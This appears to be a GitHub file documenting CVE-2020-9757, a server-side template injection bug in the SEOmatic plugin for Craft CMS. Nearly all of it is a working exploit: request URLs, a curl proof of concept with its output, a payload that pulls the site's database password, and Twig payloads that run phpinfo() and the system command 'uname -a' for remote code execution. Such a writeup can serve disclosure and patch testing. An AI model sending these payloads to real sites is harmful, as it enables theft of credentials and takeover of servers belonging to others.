giany / CVE Public

Code Issues Pull requests Actions Projects Security Insights

master

CVE / CVE-2020-9757.txt

giany Update CVE-2020-9757.txt History

1 contributor

28 lines (18 sloc) 1.02 KB

```
SSTI that leads to RCE on SEOmatic < 3.3.0

Vulnerable request:

host/actions/seomatic/meta-container/meta-link-container/?uri={{4*'4'}}
host/actions/seomatic/meta-container/all-meta-containers?uri={{craft.app.config.db.password}}

Look in the response for MetaLinkContainer.

curl  -g -X GET "https://site/actions/seomatic/meta-container/meta-link-container?uri={{4*4}}" | jq '.'
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   222    0   222    0     0    426      0 --:--:-- --:--:-- --:--:--   426
{
  "MetaLinkContainer": "<link href=\"https://site/16\" rel=\"canonical\"><link href=\"https://site/\" rel=\"home\"><link type=\"text/plain\" href=\"https://site/humans.txt\" rel=\'
}

Notice "16"


Methods:

Get twig version: {{constant('Twig\\Environment::VERSION')}}

RCE

{{craft.app.view.evaluateDynamicContent('phpinfo();')}}
{{craft.app.view.evaluateDynamicContent(%27print(system("uname\x20-a"));%27)}}
```